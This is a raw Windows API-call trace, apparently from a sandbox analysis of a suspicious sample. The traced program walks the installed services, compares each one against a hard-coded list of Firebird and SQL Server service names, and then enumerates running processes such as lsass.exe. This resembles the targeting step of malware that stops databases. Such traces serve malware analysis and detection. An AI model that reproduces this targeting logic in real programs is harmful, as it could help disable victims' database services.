	[0170.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0170.513] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0170.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0170.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0170.513] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0170.513] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0170.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0170.513] lstrlenW (lpString="CDPSvc") returned 6
	[0170.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0170.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0170.513] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0170.513] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0170.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0170.513] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0170.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0170.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0170.514] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0170.514] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0170.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0170.514] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0170.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0170.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0170.514] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0170.514] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0170.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0170.514] lstrlenW (lpString="CryptSvc") returned 8
	[0170.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0170.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0170.514] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0170.514] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0170.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0170.514] lstrlenW (lpString="DcomLaunch") returned 10
	[0170.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0170.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0170.514] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0170.514] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0170.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0170.514] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0170.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0170.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0170.514] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0170.514] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0170.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0170.515] lstrlenW (lpString="Dhcp") returned 4
	[0170.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0170.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0170.515] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0170.515] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0170.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0170.515] lstrlenW (lpString="Dnscache") returned 8
	[0170.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0170.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0170.515] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0170.515] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0170.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0170.515] lstrlenW (lpString="DPS") returned 3
	[0170.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0170.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0170.515] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0170.515] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0170.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0170.515] lstrlenW (lpString="DusmSvc") returned 7
	[0170.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0170.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0170.515] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0170.515] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0170.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0170.516] lstrlenW (lpString="EventLog") returned 8
	[0170.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0170.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0170.516] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0170.516] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0170.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0170.516] lstrlenW (lpString="EventSystem") returned 11
	[0170.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0170.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0170.516] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0170.516] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0170.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0170.516] lstrlenW (lpString="FontCache") returned 9
	[0170.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0170.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0170.516] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0170.516] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0170.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0170.516] lstrlenW (lpString="gpsvc") returned 5
	[0170.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0170.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0170.516] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0170.516] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0170.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0170.517] lstrlenW (lpString="iphlpsvc") returned 8
	[0170.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0170.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0170.517] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0170.517] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0170.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0170.517] lstrlenW (lpString="KeyIso") returned 6
	[0170.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0170.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0170.517] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0170.517] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0170.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0170.517] lstrlenW (lpString="LanmanServer") returned 12
	[0170.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0170.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0170.517] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0170.517] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0170.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0170.517] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0170.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0170.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0170.517] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0170.517] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0170.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0170.517] lstrlenW (lpString="lfsvc") returned 5
	[0170.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0170.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0170.518] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0170.518] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0170.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0170.518] lstrlenW (lpString="lmhosts") returned 7
	[0170.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0170.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0170.518] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0170.518] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0170.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0170.518] lstrlenW (lpString="LSM") returned 3
	[0170.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0170.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0170.518] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0170.518] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0170.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0170.518] lstrlenW (lpString="MpsSvc") returned 6
	[0170.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0170.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0170.518] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0170.518] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0170.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0170.518] lstrlenW (lpString="NcbService") returned 10
	[0170.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0170.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0170.519] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0170.519] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0170.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0170.519] lstrlenW (lpString="netprofm") returned 8
	[0170.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0170.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0170.519] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0170.519] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0170.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0170.519] lstrlenW (lpString="NgcSvc") returned 6
	[0170.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0170.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0170.519] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0170.519] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0170.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0170.519] lstrlenW (lpString="NlaSvc") returned 6
	[0170.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0170.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0170.519] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0170.519] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0170.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0170.519] lstrlenW (lpString="nsi") returned 3
	[0170.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0170.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0170.520] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0170.520] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0170.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0170.520] lstrlenW (lpString="PcaSvc") returned 6
	[0170.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0170.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0170.520] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0170.520] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0170.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0170.520] lstrlenW (lpString="PlugPlay") returned 8
	[0170.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0170.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0170.520] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0170.520] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0170.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0170.520] lstrlenW (lpString="Power") returned 5
	[0170.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0170.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0170.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0170.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0170.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0170.520] lstrlenW (lpString="ProfSvc") returned 7
	[0170.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0170.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0170.520] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0170.520] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0170.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0170.521] lstrlenW (lpString="RpcEptMapper") returned 12
	[0170.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0170.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0170.521] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0170.521] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0170.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0170.521] lstrlenW (lpString="RpcSs") returned 5
	[0170.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0170.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0170.521] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0170.521] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0170.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0170.521] lstrlenW (lpString="SamSs") returned 5
	[0170.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0170.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0170.521] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0170.521] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0170.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0170.521] lstrlenW (lpString="Schedule") returned 8
	[0170.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0170.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0170.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0170.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0170.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0170.521] lstrlenW (lpString="SecurityHealthService") returned 21
	[0170.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0170.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0170.522] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0170.522] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0170.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0170.522] lstrlenW (lpString="SENS") returned 4
	[0170.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0170.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0170.522] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0170.522] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0170.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0170.522] lstrlenW (lpString="ShellHWDetection") returned 16
	[0170.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0170.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0170.522] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0170.522] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0170.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0170.522] lstrlenW (lpString="Spooler") returned 7
	[0170.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0170.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0170.522] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0170.522] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0170.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0170.522] lstrlenW (lpString="StateRepository") returned 15
	[0170.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0170.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0170.523] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0170.523] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0170.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0170.523] lstrlenW (lpString="SysMain") returned 7
	[0170.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0170.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0170.523] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0170.523] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0170.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0170.523] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0170.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0170.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0170.523] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0170.523] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0170.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0170.523] lstrlenW (lpString="Themes") returned 6
	[0170.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0170.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0170.523] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0170.523] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0170.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0170.523] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0170.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0170.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0170.523] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0170.524] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0170.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46f23f8 | out: hHeap=0x4f0000) returned 1
	[0170.524] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x350
	[0170.564] Process32FirstW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0170.569] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0170.573] lstrlenW (lpString="System") returned 6
	[0170.573] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0170.574] lstrlenW (lpString="smss.exe") returned 8
	[0170.574] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0170.578] lstrlenW (lpString="csrss.exe") returned 9
	[0170.578] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0170.579] lstrlenW (lpString="wininit.exe") returned 11
	[0170.579] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0170.580] lstrlenW (lpString="csrss.exe") returned 9
	[0170.580] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0170.581] lstrlenW (lpString="winlogon.exe") returned 12
	[0170.581] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0170.581] lstrlenW (lpString="services.exe") returned 12
	[0170.582] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0170.588] lstrlenW (lpString="lsass.exe") returned 9
	[0170.588] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0170.589] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0170.589] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0170.590] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0170.590] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.591] lstrlenW (lpString="svchost.exe") returned 11
